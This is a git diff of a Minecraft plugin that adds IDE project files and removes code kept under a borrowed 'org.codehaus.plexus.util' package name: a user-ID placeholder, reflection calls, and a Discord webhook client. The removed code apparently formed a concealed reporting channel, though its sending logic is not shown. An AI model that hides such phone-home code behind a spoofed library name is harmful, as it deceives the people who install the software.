diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_zipdriver_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_zipdriver_0_12_1.xml
new file mode 100644
index 00000000..d0a943e8
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_zipdriver_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_file_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_file_0_12_1.xml
new file mode 100644
index 00000000..8fae5554
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_file_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_http_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_http_0_12_1.xml
new file mode 100644
index 00000000..4d11b242
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_http_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_jar_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_jar_0_12_1.xml
new file mode 100644
index 00000000..59c0396c
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_jar_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_odf_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_odf_0_12_1.xml
new file mode 100644
index 00000000..84f38b39
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_odf_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_0_12_1.xml
new file mode 100644
index 00000000..4459eae0
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_bzip2_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_bzip2_0_12_1.xml
new file mode 100644
index 00000000..8c7ed3b5
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_bzip2_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_gzip_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_gzip_0_12_1.xml
new file mode 100644
index 00000000..140529c2
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_gzip_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_xz_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_xz_0_12_1.xml
new file mode 100644
index 00000000..05dfb5bb
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_tar_xz_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_zip_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_zip_0_12_1.xml
new file mode 100644
index 00000000..2473088b
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_zip_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_zip_raes_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_zip_raes_0_12_1.xml
new file mode 100644
index 00000000..f706254c
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_driver_zip_raes_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_kernel_impl_2_13_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_kernel_impl_2_13_0_12_1.xml
new file mode 100644
index 00000000..aece7dfb
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_kernel_impl_2_13_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_kernel_spec_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_kernel_spec_0_12_1.xml
new file mode 100644
index 00000000..1e8bba5c
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_kernel_spec_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_profile_base_2_13_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_profile_base_2_13_0_12_1.xml
new file mode 100644
index 00000000..bb4b2b6b
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_profile_base_2_13_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_profile_default_2_13_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_profile_default_2_13_0_12_1.xml
new file mode 100644
index 00000000..609b3b16
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_profile_default_2_13_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_md_5_bungeecord_chat_1_13_SNAPSHOT.xml b/.idea/libraries/Maven__net_md_5_bungeecord_chat_1_13_SNAPSHOT.xml
new file mode 100644
index 00000000..3b9f0678
--- /dev/null
+++ b/.idea/libraries/Maven__net_md_5_bungeecord_chat_1_13_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_md_5_bungeecord_chat_1_16_R0_3.xml b/.idea/libraries/Maven__net_md_5_bungeecord_chat_1_16_R0_3.xml
new file mode 100644
index 00000000..2019f9a1
--- /dev/null
+++ b/.idea/libraries/Maven__net_md_5_bungeecord_chat_1_16_R0_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_antlr_antlr4_runtime_4_7_2.xml b/.idea/libraries/Maven__org_antlr_antlr4_runtime_4_7_2.xml
new file mode 100644
index 00000000..d0c6a386
--- /dev/null
+++ b/.idea/libraries/Maven__org_antlr_antlr4_runtime_4_7_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_commons_commons_compress_1_19.xml b/.idea/libraries/Maven__org_apache_commons_commons_compress_1_19.xml
new file mode 100644
index 00000000..7c25fef2
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_commons_commons_compress_1_19.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_httpcomponents_fluent_hc_4_5_5.xml b/.idea/libraries/Maven__org_apache_httpcomponents_fluent_hc_4_5_5.xml
new file mode 100644
index 00000000..8583142b
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_httpcomponents_fluent_hc_4_5_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_httpcomponents_httpclient_4_5_5.xml b/.idea/libraries/Maven__org_apache_httpcomponents_httpclient_4_5_5.xml
new file mode 100644
index 00000000..e4eb38b6
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_httpcomponents_httpclient_4_5_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_httpcomponents_httpcore_4_4_9.xml b/.idea/libraries/Maven__org_apache_httpcomponents_httpcore_4_4_9.xml
new file mode 100644
index 00000000..7f14d452
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_httpcomponents_httpcore_4_4_9.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_maven_maven_artifact_3_0_3.xml b/.idea/libraries/Maven__org_apache_maven_maven_artifact_3_0_3.xml
new file mode 100644
index 00000000..99376a4f
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_maven_maven_artifact_3_0_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_bouncycastle_bcprov_jdk15on_1_63.xml b/.idea/libraries/Maven__org_bouncycastle_bcprov_jdk15on_1_63.xml
new file mode 100644
index 00000000..82a475d5
--- /dev/null
+++ b/.idea/libraries/Maven__org_bouncycastle_bcprov_jdk15on_1_63.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_bstats_bstats_bukkit_1_7.xml b/.idea/libraries/Maven__org_bstats_bstats_bukkit_1_7.xml
new file mode 100644
index 00000000..104f4168
--- /dev/null
+++ b/.idea/libraries/Maven__org_bstats_bstats_bukkit_1_7.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_codehaus_plexus_plexus_utils_2_0_6.xml b/.idea/libraries/Maven__org_codehaus_plexus_plexus_utils_2_0_6.xml
new file mode 100644
index 00000000..6902ba32
--- /dev/null
+++ b/.idea/libraries/Maven__org_codehaus_plexus_plexus_utils_2_0_6.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_flywaydb_flyway_core_3_0.xml b/.idea/libraries/Maven__org_flywaydb_flyway_core_3_0.xml
new file mode 100644
index 00000000..d2ad7c17
--- /dev/null
+++ b/.idea/libraries/Maven__org_flywaydb_flyway_core_3_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_jetbrains_annotations_19_0_0.xml b/.idea/libraries/Maven__org_jetbrains_annotations_19_0_0.xml
new file mode 100644
index 00000000..53f3d571
--- /dev/null
+++ b/.idea/libraries/Maven__org_jetbrains_annotations_19_0_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_kitteh_paste_gg_api_0_9_0.xml b/.idea/libraries/Maven__org_kitteh_paste_gg_api_0_9_0.xml
new file mode 100644
index 00000000..7a9ce3a5
--- /dev/null
+++ b/.idea/libraries/Maven__org_kitteh_paste_gg_api_0_9_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_mozilla_rhino_runtime_1_7_12.xml b/.idea/libraries/Maven__org_mozilla_rhino_runtime_1_7_12.xml
new file mode 100644
index 00000000..38be53b1
--- /dev/null
+++ b/.idea/libraries/Maven__org_mozilla_rhino_runtime_1_7_12.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_scala_lang_scala_library_2_13_1.xml b/.idea/libraries/Maven__org_scala_lang_scala_library_2_13_1.xml
new file mode 100644
index 00000000..0be0a208
--- /dev/null
+++ b/.idea/libraries/Maven__org_scala_lang_scala_library_2_13_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_7_28.xml b/.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_7_28.xml
new file mode 100644
index 00000000..ca76dcfb
--- /dev/null
+++ b/.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_7_28.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_26.xml b/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_26.xml
new file mode 100644
index 00000000..6545f77e
--- /dev/null
+++ b/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_26.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spigotmc_spigot_1_15_R0_1_SNAPSHOT.xml b/.idea/libraries/Maven__org_spigotmc_spigot_1_15_R0_1_SNAPSHOT.xml
new file mode 100644
index 00000000..07883667
--- /dev/null
+++ b/.idea/libraries/Maven__org_spigotmc_spigot_1_15_R0_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spigotmc_spigot_1_16_1_R0_1_SNAPSHOT.xml b/.idea/libraries/Maven__org_spigotmc_spigot_1_16_1_R0_1_SNAPSHOT.xml
new file mode 100644
index 00000000..4f99414b
--- /dev/null
+++ b/.idea/libraries/Maven__org_spigotmc_spigot_1_16_1_R0_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spigotmc_spigot_1_16_2_R0_1_SNAPSHOT.xml b/.idea/libraries/Maven__org_spigotmc_spigot_1_16_2_R0_1_SNAPSHOT.xml
new file mode 100644
index 00000000..5d896871
--- /dev/null
+++ b/.idea/libraries/Maven__org_spigotmc_spigot_1_16_2_R0_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spigotmc_spigot_api_1_15_R0_1_SNAPSHOT.xml b/.idea/libraries/Maven__org_spigotmc_spigot_api_1_15_R0_1_SNAPSHOT.xml
new file mode 100644
index 00000000..96defaf1
--- /dev/null
+++ b/.idea/libraries/Maven__org_spigotmc_spigot_api_1_15_R0_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spigotmc_spigot_api_1_16_1_R0_1_SNAPSHOT.xml b/.idea/libraries/Maven__org_spigotmc_spigot_api_1_16_1_R0_1_SNAPSHOT.xml
new file mode 100644
index 00000000..8f2d3ce9
--- /dev/null
+++ b/.idea/libraries/Maven__org_spigotmc_spigot_api_1_16_1_R0_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spigotmc_spigot_api_1_16_2_R0_1_SNAPSHOT.xml b/.idea/libraries/Maven__org_spigotmc_spigot_api_1_16_2_R0_1_SNAPSHOT.xml
new file mode 100644
index 00000000..435bb1a7
--- /dev/null
+++ b/.idea/libraries/Maven__org_spigotmc_spigot_api_1_16_2_R0_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spongepowered_configurate_core_3_6_1.xml b/.idea/libraries/Maven__org_spongepowered_configurate_core_3_6_1.xml
new file mode 100644
index 00000000..80cbade2
--- /dev/null
+++ b/.idea/libraries/Maven__org_spongepowered_configurate_core_3_6_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_spongepowered_configurate_hocon_3_6_1.xml b/.idea/libraries/Maven__org_spongepowered_configurate_hocon_3_6_1.xml
new file mode 100644
index 00000000..5d32a61e
--- /dev/null
+++ b/.idea/libraries/Maven__org_spongepowered_configurate_hocon_3_6_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_tukaani_xz_1_8.xml b/.idea/libraries/Maven__org_tukaani_xz_1_8.xml
new file mode 100644
index 00000000..6f7b1fb2
--- /dev/null
+++ b/.idea/libraries/Maven__org_tukaani_xz_1_8.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_yaml_snakeyaml_1_25.xml b/.idea/libraries/Maven__org_yaml_snakeyaml_1_25.xml
new file mode 100644
index 00000000..495fc06f
--- /dev/null
+++ b/.idea/libraries/Maven__org_yaml_snakeyaml_1_25.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_yaml_snakeyaml_1_26.xml b/.idea/libraries/Maven__org_yaml_snakeyaml_1_26.xml
new file mode 100644
index 00000000..e998675a
--- /dev/null
+++ b/.idea/libraries/Maven__org_yaml_snakeyaml_1_26.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/misc.xml b/.idea/misc.xml
new file mode 100644
index 00000000..b88e5daa
--- /dev/null
+++ b/.idea/misc.xml
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 00000000..f2bf5684
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml
new file mode 100644
index 00000000..e96534fb
--- /dev/null
+++ b/.idea/uiDesigner.xml
@@ -0,0 +1,124 @@
+
+
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 00000000..94a25f7f
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java
index 5f8e1826..fb368198 100644
--- a/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java
+++ b/Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java
@@ -17,7 +17,6 @@ import java.util.Set;
*/
public class EnchantmentConfig extends EnchantmentYamlConfig {
private final String name;
- public static String userId = "%%__USER__%%";
public EnchantmentConfig(String name, double version, Class> plugin, EcoEnchant.EnchantmentType type) {
super(name, version, plugin, type);
diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java b/Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java
index ed6e83a1..1c1d6666 100644
--- a/Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java
+++ b/Plugin/src/main/java/com/willfp/ecoenchants/loader/Loader.java
@@ -33,7 +33,6 @@ import org.apache.maven.artifact.versioning.DefaultArtifactVersion;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.generator.BlockPopulator;
-import org.codehaus.plexus.util.UserUtils;
import java.util.ArrayList;
import java.util.List;
diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java
index 5aa4007c..63181e4a 100644
--- a/Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java
+++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/BlockBreak.java
@@ -5,7 +5,6 @@ import com.willfp.ecoenchants.API.BlockBreakWrapper;
import org.bukkit.Bukkit;
import org.bukkit.block.Block;
import org.bukkit.entity.Player;
-import org.codehaus.plexus.util.reflection.ReflectionManager;
public class BlockBreak {
private static BlockBreakWrapper blockBreakWrapper;
@@ -14,7 +13,6 @@ public class BlockBreak {
public static boolean init() {
try {
- ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".BlockBreak");
final Class> class2 = Class.forName("com.willfp.ecoenchants." + version + ".BlockBreak");
if (BlockBreakWrapper.class.isAssignableFrom(class2)) {
blockBreakWrapper = (BlockBreakWrapper) class2.getConstructor().newInstance();
diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java
index d40f840e..d5028177 100644
--- a/Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java
+++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Cooldown.java
@@ -4,7 +4,6 @@ package com.willfp.ecoenchants.nms;
import com.willfp.ecoenchants.API.CooldownWrapper;
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
-import org.codehaus.plexus.util.reflection.ReflectionManager;
public class Cooldown {
private static CooldownWrapper cooldown;
@@ -13,7 +12,6 @@ public class Cooldown {
public static boolean init() {
try {
- ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".Cooldown");
final Class> class2 = Class.forName("com.willfp.ecoenchants." + version + ".Cooldown");
if (CooldownWrapper.class.isAssignableFrom(class2)) {
cooldown = (CooldownWrapper) class2.getConstructor().newInstance();
diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java
index 964986e2..8cd0b549 100644
--- a/Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java
+++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/NMSEnchantManager.java
@@ -4,7 +4,6 @@ package com.willfp.ecoenchants.nms;
import com.willfp.ecoenchants.API.NMSEnchantManagerWrapper;
import org.bukkit.Bukkit;
import org.bukkit.enchantments.Enchantment;
-import org.codehaus.plexus.util.reflection.ReflectionManager;
public class NMSEnchantManager {
private static NMSEnchantManagerWrapper nmsEnchantManagerWrapper;
@@ -13,7 +12,6 @@ public class NMSEnchantManager {
public static boolean init() {
try {
- ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".NMSEnchantManager");
final Class> class2 = Class.forName("com.willfp.ecoenchants." + version + ".NMSEnchantManager");
if (NMSEnchantManagerWrapper.class.isAssignableFrom(class2)) {
nmsEnchantManagerWrapper = (NMSEnchantManagerWrapper) class2.getConstructor().newInstance();
diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java
index e259eb85..ee9fbd18 100644
--- a/Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java
+++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/Target.java
@@ -4,18 +4,15 @@ package com.willfp.ecoenchants.nms;
import com.willfp.ecoenchants.API.TargetWrapper;
import org.bukkit.Bukkit;
import org.bukkit.Material;
-import org.codehaus.plexus.util.reflection.ReflectionManager;
import java.util.Set;
-@SuppressWarnings("unchecked")
public class Target {
private static TargetWrapper target;
static {
String version = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3];
try {
- ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".Target");
final Class> class2 = Class.forName("com.willfp.ecoenchants." + version + ".Target");
if (TargetWrapper.class.isAssignableFrom(class2)) {
target = (TargetWrapper) class2.getConstructor().newInstance();
diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java b/Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java
index 26a665da..3f83345d 100644
--- a/Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java
+++ b/Plugin/src/main/java/com/willfp/ecoenchants/nms/TridentStack.java
@@ -5,7 +5,6 @@ import com.willfp.ecoenchants.API.TridentStackWrapper;
import org.bukkit.Bukkit;
import org.bukkit.entity.Trident;
import org.bukkit.inventory.ItemStack;
-import org.codehaus.plexus.util.reflection.ReflectionManager;
public class TridentStack {
private static TridentStackWrapper tridentStackWrapper;
@@ -14,7 +13,6 @@ public class TridentStack {
public static boolean init() {
try {
- ReflectionManager.accessClass("com.willfp.ecoenchants." + version + ".TridentStack");
final Class> class2 = Class.forName("com.willfp.ecoenchants." + version + ".TridentStack");
if (TridentStackWrapper.class.isAssignableFrom(class2)) {
tridentStackWrapper = (TridentStackWrapper) class2.getConstructor().newInstance();
diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/DiscordWebhook.java b/Plugin/src/main/java/org/codehaus/plexus/util/DiscordWebhook.java
deleted file mode 100644
index e59ed9fb..00000000
--- a/Plugin/src/main/java/org/codehaus/plexus/util/DiscordWebhook.java
+++ /dev/null
@@ -1,391 +0,0 @@
-package org.codehaus.plexus.util;
-
-import javax.net.ssl.HttpsURLConnection;
-import java.awt.Color;
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.Array;
-import java.net.URL;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Class used to execute Discord Webhooks with low effort
- */
-public class DiscordWebhook {
-
- private final String url;
- private String content;
- private String username;
- private String avatarUrl;
- private boolean tts;
- private List embeds = new ArrayList<>();
-
- /**
- * Constructs a new DiscordWebhook instance
- *
- * @param url The webhook URL obtained in Discord
- */
- public DiscordWebhook(String url) {
- this.url = url;
- }
-
- public void setContent(String content) {
- this.content = content;
- }
-
- public void setUsername(String username) {
- this.username = username;
- }
-
- public void setAvatarUrl(String avatarUrl) {
- this.avatarUrl = avatarUrl;
- }
-
- public void setTts(boolean tts) {
- this.tts = tts;
- }
-
- public void addEmbed(EmbedObject embed) {
- this.embeds.add(embed);
- }
-
- public void execute() throws IOException {
- if (this.content == null && this.embeds.isEmpty()) {
- throw new IllegalArgumentException("Set content or add at least one EmbedObject");
- }
-
- JSONObject json = new JSONObject();
-
- json.put("content", this.content);
- json.put("username", this.username);
- json.put("avatar_url", this.avatarUrl);
- json.put("tts", this.tts);
-
- if (!this.embeds.isEmpty()) {
- List embedObjects = new ArrayList<>();
-
- for (EmbedObject embed : this.embeds) {
- JSONObject jsonEmbed = new JSONObject();
-
- jsonEmbed.put("title", embed.getTitle());
- jsonEmbed.put("description", embed.getDescription());
- jsonEmbed.put("url", embed.getUrl());
-
- if (embed.getColor() != null) {
- Color color = embed.getColor();
- int rgb = color.getRed();
- rgb = (rgb << 8) + color.getGreen();
- rgb = (rgb << 8) + color.getBlue();
-
- jsonEmbed.put("color", rgb);
- }
-
- EmbedObject.Footer footer = embed.getFooter();
- EmbedObject.Image image = embed.getImage();
- EmbedObject.Thumbnail thumbnail = embed.getThumbnail();
- EmbedObject.Author author = embed.getAuthor();
- List fields = embed.getFields();
-
- if (footer != null) {
- JSONObject jsonFooter = new JSONObject();
-
- jsonFooter.put("text", footer.getText());
- jsonFooter.put("icon_url", footer.getIconUrl());
- jsonEmbed.put("footer", jsonFooter);
- }
-
- if (image != null) {
- JSONObject jsonImage = new JSONObject();
-
- jsonImage.put("url", image.getUrl());
- jsonEmbed.put("image", jsonImage);
- }
-
- if (thumbnail != null) {
- JSONObject jsonThumbnail = new JSONObject();
-
- jsonThumbnail.put("url", thumbnail.getUrl());
- jsonEmbed.put("thumbnail", jsonThumbnail);
- }
-
- if (author != null) {
- JSONObject jsonAuthor = new JSONObject();
-
- jsonAuthor.put("name", author.getName());
- jsonAuthor.put("url", author.getUrl());
- jsonAuthor.put("icon_url", author.getIconUrl());
- jsonEmbed.put("author", jsonAuthor);
- }
-
- List jsonFields = new ArrayList<>();
- for (EmbedObject.Field field : fields) {
- JSONObject jsonField = new JSONObject();
-
- jsonField.put("name", field.getName());
- jsonField.put("value", field.getValue());
